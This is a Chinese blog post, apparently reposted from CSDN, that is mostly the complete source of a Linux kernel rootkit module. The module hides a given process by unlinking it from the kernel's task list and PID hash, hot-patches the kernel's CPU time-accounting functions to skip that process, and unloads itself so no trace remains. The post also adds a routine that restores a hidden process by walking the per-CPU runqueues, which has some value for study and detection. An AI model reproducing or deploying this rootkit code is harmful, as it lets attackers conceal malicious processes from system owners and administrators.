Linux系统中彻底隐藏你的进程(隐藏后如何恢复显示？)

谁借莪１个温暖的怀抱￠ 2023-07-23 10:57 46阅读 0赞

在前文中，我展示了一个超级简单的rootkit辅助工具：  
[https://blog.csdn.net/dog250/article/details/105292504][https_blog.csdn.net_dog250_article_details_105292504]

在这篇文章中，一旦进程被隐藏了，很难恢复。言外之意就是，这是最底层的隐藏，而不是靠hook那些procfs接口之类的方式。

我们已经把进程从链表中摘除，那么该进程便无法被遍历到，如何恢复它呢？换句话说，我自己给自己出了个难题，如果我自己攻击了我自己的机器植入了rootkit，我自己又如何把它揪出来？！

也不难！

虽然进程被从链表摘除了，但它还在运行队列啊！所以我们只需要遍历per cpu的runqueue就可以了。不过这里要记住，如果被隐藏的进程睡眠在某个wait queue上，这种方式就不行了，需要唤醒隐藏进程后再试。

代码如下：

// 以下这些偏移值需要hack得到。
    #define CPU_OFFSET 2336
    #define CRQ_OFFSET 160
    int reshow_process(void)
    { 
    	struct list_head *list;
    	struct task_struct *p, *n;
    	unsigned long *rq_addr, base_rq;
    	char *tmp;
    	int cpu = smp_processor_id();
    	struct task_struct *task = current;
    	struct pid_link *link = NULL;
    
    	// 根据current顺藤摸瓜找到本CPU的rq
    	tmp = (char *)task->se.cfs_rq;;
    	rq_addr = (unsigned long *)(tmp + CRQ_OFFSET);
    	tmp = (char *)*rq_addr;
    
    	// 根据本CPU的rq以及per cpu offset找到基准rq在percpu的偏移
    	cpu = (int)*(int *)(tmp + CPU_OFFSET);
    	base_rq = (unsigned long)tmp - (unsigned long)percpuoff[cpu];
    
    	task = NULL;
    
    	for_each_possible_cpu(cpu) { 
    		tmp = (char *)(percpuoff[cpu] + base_rq);
    		list = (struct list_head *)&tmp[TASKS_OFFSET];
    		list_for_each_entry_safe(p, n, list, se.group_node) { 
    			// 由于我们执行了list_del_init摘除，所以task的tasks必然是自指的list_head
    			if (list_empty(&p->tasks)) { 
    				task = p;
    				break;
    			}
    		}
    		if (task) break;
    	}
    
    	// 进程可能sleep/wait在某个queue，请唤醒它重试
    	if (!task) return 1;
    
    	// 恢复进程的显示！
    	link = &task->pids[PIDTYPE_PID];
    
    	hlist_add_head_rcu(&link->node, &link->pid->tasks[PIDTYPE_PID]);
    	list_add_tail_rcu(&task->tasks, &init_task.tasks);
    
    	return 0;
    }

此时只要执行上述代码，被隐藏的进程就又可以从ps的结果中获得了。

完整的代码如下：

#include <linux/module.h>
    #include <net/tcp.h>
    #include <linux/kernel.h>
    #include <linux/kallsyms.h>
    #include <linux/sched.h>
    #include <linux/sched.h>
    #include <linux/cpu.h>
    
    char *stub = NULL;
    char *addr_user = NULL;
    char *addr_sys = NULL;
    unsigned long *percpuoff = NULL;
    
    static unsigned int pid = 0;
    module_param(pid, int, 0444);
    
    static unsigned int hide = 1;
    module_param(hide, int, 0444);
    
    // stub函数模版
    void stub_func_account_time(struct task_struct *p, u64 cputime, u64 cputime_scaled)
    { 
    	// 先用0x11223344来占位，模块加载的时候通过pid参数来校准
    	if (p->pid == 0x11223344)  { 
    		asm ("pop %rbp; pop %r11; retq;");
    	}
    }
    
    #define FTRACE_SIZE 5
    #define POKE_OFFSET 0
    #define POKE_LENGTH 5
    
    #define RQUEUE_SIZE 2680
    #define TASKS_OFFSET 2344
    #define CPU_OFFSET 2336
    
    void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
                unsigned long start, unsigned long end, gfp_t gfp_mask,
                pgprot_t prot, int node, const void *caller);
    static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
    static struct mutex *_text_mutex;
    
    // 需要额外分配的stub函数
    char *hide_account_user_time = NULL;
    unsigned char jmp_call[POKE_LENGTH];
    
    #define START _AC(0xffffffffa0000000, UL)
    #define END _AC(0xffffffffff000000, UL)
    
    void hide_process(void)
    { 
    	struct task_struct *task = NULL;
    	struct pid_link *link = NULL;
    
    	struct hlist_node *node = NULL;
    	task = pid_task(find_vpid(pid), PIDTYPE_PID);
    	link = &task->pids[PIDTYPE_PID];
    
    	list_del_rcu(&task->tasks);
    	INIT_LIST_HEAD(&task->tasks);
    	node = &link->node;
    	hlist_del_rcu(node);
    	INIT_HLIST_NODE(node);
    	node->pprev = &node;
    }
    
    #define CRQ_OFFSET 160
    int reshow_process(void)
    { 
    	struct list_head *list;
    	struct task_struct *p, *n;
    	unsigned long *rq_addr, base_rq;
    	char *tmp;
    	int cpu = smp_processor_id();
    	struct task_struct *task = current;
    	struct pid_link *link = NULL;
    
    	// 根据current顺藤摸瓜找到本CPU的rq
    	tmp = (char *)task->se.cfs_rq;;
    	rq_addr = (unsigned long *)(tmp + CRQ_OFFSET);
    	tmp = (char *)*rq_addr;
    
    	// 根据本CPU的rq以及per cpu offset找到基准rq在percpu的偏移
    	cpu = (int)*(int *)(tmp + CPU_OFFSET);
    	base_rq = (unsigned long)tmp - (unsigned long)percpuoff[cpu];
    
    	task = NULL;
    
    	for_each_possible_cpu(cpu) { 
    		tmp = (char *)(percpuoff[cpu] + base_rq);
    		list = (struct list_head *)&tmp[TASKS_OFFSET];
    		list_for_each_entry_safe(p, n, list, se.group_node) { 
    			if (list_empty(&p->tasks)) { 
    				task = p;
    				break;
    			}
    		}
    		if (task) break;
    	}
    
    	// 进程可能sleep/wait在某个queue，请唤醒它重试
    	if (!task) return 1;
    
    	link = &task->pids[PIDTYPE_PID];
    
    	hlist_add_head_rcu(&link->node, &link->pid->tasks[PIDTYPE_PID]);
    	list_add_tail_rcu(&task->tasks, &init_task.tasks);
    
    	return 0;
    }
    
    static int __init rootkit_init(void)
    { 
    	// 32位相对跳转偏移
    	s32 offset;
    	// 需要校准的pid指针位置。
    	unsigned int *ppid;
    
    
    	addr_user = (void *)kallsyms_lookup_name("account_user_time");
    	addr_sys = (void *)kallsyms_lookup_name("account_system_time");
    	if (!addr_user || !addr_sys) { 
    		printk("一切还没有准备好！请先加载sample模块。\n");
    		return -1;
    	}
    
    	// 必须采用带range的内存分配函数，否则我们无法保证account_user_time可以32位相对跳转过来！
    	___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
    	_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
    	_text_mutex = (void *)kallsyms_lookup_name("text_mutex");
    	if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) { 
    		printk("还没开始，就已经结束。");
    		return -1;
    	}
    
    	if (hide == 0) { 
    		offset = *(unsigned int *)&addr_user[1];
    		stub = (char *)(offset + (unsigned long)addr_user + FTRACE_SIZE);
    
    		percpuoff = (void *)kallsyms_lookup_name("__per_cpu_offset");
    		if (!percpuoff)
    			return -1;
    		if (reshow_process())
    			return -1;
    
    		get_online_cpus();
    		mutex_lock(_text_mutex);
    		_text_poke_smp(&addr_user[POKE_OFFSET], &stub[0], POKE_LENGTH);
    		_text_poke_smp(&addr_sys[POKE_OFFSET], &stub[0], POKE_LENGTH);
    		mutex_unlock(_text_mutex);
    		put_online_cpus();
    
    		vfree(stub);
    
    		return -1;
    	}
    
    	// 为了可以在32位范围内相对跳转，必须在START后分配stub func内存
    	hide_account_user_time = (void *)___vmalloc_node_range(128, 1, START, END,
    								GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
    								-1, __builtin_return_address(0));
    	if (!hide_account_user_time) { 
    		printk("很遗憾，内存不够了\n");
    		return -1;
    	}
    
    	// 把模版函数拷贝到真正的stub函数中
    	memcpy(hide_account_user_time, stub_func_account_time, 0x25);
    	// 校准pid立即数
    	ppid = (unsigned int *)&hide_account_user_time[12];
    	// 使用立即数来比较pid，不然模块释放掉以后pid参数将不再可读
    	*ppid = pid;
    
    	stub = (void *)hide_account_user_time;
    
    	jmp_call[0] = 0xe8;
    
    	offset = (s32)((long)stub - (long)addr_user - FTRACE_SIZE);
    	(*(s32 *)(&jmp_call[1])) = offset;
    
    	get_online_cpus();
    	mutex_lock(_text_mutex);
    	_text_poke_smp(&addr_user[POKE_OFFSET], jmp_call, POKE_LENGTH);
    	mutex_unlock(_text_mutex);
    	put_online_cpus();
    
    	offset = (s32)((long)stub - (long)addr_sys - FTRACE_SIZE);
    	(*(s32 *)(&jmp_call[1])) = offset;
    
    	get_online_cpus();
    	mutex_lock(_text_mutex);
    	_text_poke_smp(&addr_sys[POKE_OFFSET], jmp_call, POKE_LENGTH);
    	mutex_unlock(_text_mutex);
    	put_online_cpus();
    
    	// 隐藏进程，将其从数据结构中摘除
    	hide_process();
    
    	// 事了拂衣去，不留痕迹
    	return -1;
    }
    
    static void __exit rootkit_exit(void)
    { 
    	// 事了拂衣去了，什么都没有留下，也不必再过问！
    }
    
    module_init(rootkit_init);
    module_exit(rootkit_exit);
    MODULE_LICENSE("GPL");

--------------------

浙江温州皮鞋湿，下雨进水不会胖。

[https_blog.csdn.net_dog250_article_details_105292504]: https://blog.csdn.net/dog250/article/details/105292504